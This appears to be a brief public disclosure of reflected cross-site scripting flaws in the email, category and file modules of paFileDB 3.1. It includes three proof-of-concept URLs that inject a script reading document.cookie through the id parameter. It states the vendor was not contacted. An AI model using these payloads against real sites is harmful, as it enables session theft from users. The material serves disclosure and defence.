Another XSS Vulnerability has been found in paFileDB! paFileDB is designed to allow webmasters have a database of files for download on their site. Vulnerable: Software: email & category & file paFileDB modules Just Tested on: paFileDB 3.1 Final , but likely works on another versions. Exploit: http://site/downloads/pafiledb.php?action=email&id=1?%22><script>alert(document.cookie)</script> http://site/downloads/pafiledb.php?action=category&id=1?%22><script>alert(document.cookie)</script> http://site/downloads/pafiledb.php?action=file&id=1?%22><script>alert(document.cookie)</script> ------------------------------------------------------------------------------- Script authors not contacted for some reason therefore There is no solution at this time. ------------------------------------------------------------------------------- Discovered by trueend5 (trueend5@xxxxxxxxx) Additional information @ http://www.persianhacker.net _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com
